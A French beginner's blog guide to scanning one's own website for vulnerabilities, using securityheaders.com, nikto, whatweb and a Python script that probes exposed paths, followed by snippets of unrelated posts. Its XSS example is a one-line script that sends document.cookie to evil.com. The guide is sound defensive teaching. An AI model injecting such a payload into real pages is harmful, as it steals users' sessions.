Accéder au contenu principal

🔐 Scanner son propre site web pour détecter les vulnérabilités : un guide complet pour débutants et curieux de cybersécurité

🧭 Pourquoi ce guide ?

Internet est une vitrine. Et comme toute vitrine, elle peut être brisée. Un site web non sécurisé peut être :

  • défiguré (defacement)
  • utilisé pour héberger du code malveillant
  • piraté pour voler des données utilisateurs
  • utilisé comme relais pour des campagnes de phishing

👉 Pourtant, 80 % des failles exploitées aujourd’hui sont connues et évitables.
Dans cet article, je vous montre comment scanner votre propre site pour détecter les vulnérabilités les plus courantes.

🚨 Exemples concrets d'attaques fréquentes

1. XSS (Cross-Site Scripting)

But : injecter du JavaScript malveillant dans une page web.

Exemple :

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

Résultat : vol de session, redirection ou infection.

2. Exposition de fichiers sensibles

But : accéder à des fichiers de config ou backups laissés en ligne.

Exemple : un fichier backup.zip oublié avec des mots de passe en clair.

3. Headers de sécurité manquants

But : pas de protection contre XSS, clickjacking, sniffing MIME, etc.

Exemple : sans X-Frame-Options, un attaquant peut piéger l’utilisateur via une iframe invisible.

🛠️ Prérequis pour scanner

  • Un site actif (le vôtre)
  • Un terminal (Windows, Linux, macOS)
  • Python 3 installé
  • Scanner uniquement ce que vous possédez !

1️⃣ Scanner les entêtes HTTP avec SecurityHeaders

Outil : https://securityheaders.com

  1. Accédez au site
  2. Saisissez votre URL
  3. Cliquez sur “Scan”

Résultat : vous voyez les entêtes manquants (CSP, HSTS, etc.)

2️⃣ Scanner avec nikto

Outil : nikto (CLI)

sudo apt install nikto -y
nikto -h https://votresite.com

Ce qu’il détecte : scripts obsolètes, fichiers publics oubliés, headers non sécurisés

3️⃣ Identifier les technos exposées avec whatweb

Outil : whatweb

sudo apt install whatweb -y
whatweb https://votresite.com

Ce qu’il révèle : CMS, versions, jQuery ou PHP anciens, serveurs backend exposés

4️⃣ Script Python : tester des endpoints sensibles

Script :

import requests

url = "https://votresite.com"
endpoints = ["/admin", "/config.php", "/.git/", "/backup.zip", "/phpinfo.php"]

for path in endpoints:
    r = requests.get(url + path)
    if r.status_code == 200:
        print(f"[ALERTE] Accessible : {url + path}")
    elif r.status_code == 403:
        print(f"[!] Interdit mais existant : {url + path}")
    else:
        print(f"[OK] {url + path} n'existe pas")

🎯 Que faire ensuite ?

  • Supprimer les fichiers exposés
  • Mettre en place HTTPS partout
  • Configurer les headers HTTP
  • Répéter ces scans régulièrement

🧠 À retenir

Menace Ce qui la déclenche Ce qui la bloque
XSS Entrées utilisateurs mal filtrées Sanitisation, CSP
Fichiers exposés Fichiers oubliés dans /public Audit, accès restreint
Vieilles bibliothèques Pas de mise à jour CDN sécurisé, maintenance
Headers manquants Pas de config serveur Outils comme SecurityHeaders

📌 Conclusion

Scanner son propre site permet de :

  • Protéger ses données
  • Réduire les risques d’exploitation
  • Respecter les standards de sécurité
  • Préparer son site à des monétisations comme AdSense

🛡️ Un site sécurisé inspire confiance.

Commentaires

Posts les plus consultés de ce blog

La cyber sécurité passe aussi par la sécurité. Ici, celle des chargeurs.

On me demande souvent si cela n'est pas sans risque de laisser son chargeur branché quand on n'utilise pas l'appareil. Analyse ci dessous! Il est fréquent de laisser un chargeur branché en permanence dans une prise, souvent par commodité. Pourtant, il est recommandé d’adopter le réflexe de le débrancher lorsqu’il n’est pas utilisé. 🔥 Un geste de sécurité avant tout Laisser un chargeur branché sans appareil connecté n’apporte aucun avantage fonctionnel . Bien que la consommation d’électricité soit minime , ce comportement peut présenter des risques liés à la surchauffe . Certains chargeurs, notamment de qualité inférieure, peuvent chauffer de manière excessive s’ils restent branchés en continu, ce qui augmente le risque d’incident électrique ou d’incendie . ⚡ Un impact énergétique négligeable D’un point de vue énergétique, la consommation d’un chargeur inactif est très faible . Recharger un téléphone pendant une année complète représente moins de 2 euros sur la facture...
Introduction au Machine Learning avec Python : Votre Premier Modèle IA de A à Z L'intelligence artificielle, souvent associée à des concepts abstraits et complexes, devient accessible grâce à Python. Aujourd’hui, vous allez découvrir comment créer un modèle de machine learning qui apprend à prédire si un passager du Titanic a survécu ou non. Ce projet concret vous donnera une vraie compréhension de ce qu’est l’IA appliquée. Étape 1 : Comprendre les données et le rôle de df Dans ce tutoriel, nous utilisons un jeu de données très célèbre : celui du Titanic. Chaque ligne représente un passager, avec des colonnes comme son âge, son sexe, sa classe dans le bateau, le prix payé pour son billet, et surtout, s’il a survécu ( Survived = 1 ) ou non ( Survived = 0 ). Quand on lit ce fichier CSV avec pandas , on stocke les données dans une structure appelée DataFrame , abrégée en df . Un DataFrame est un tableau à deux dimensions : les colonnes sont les variables (âge, sexe…), et ch...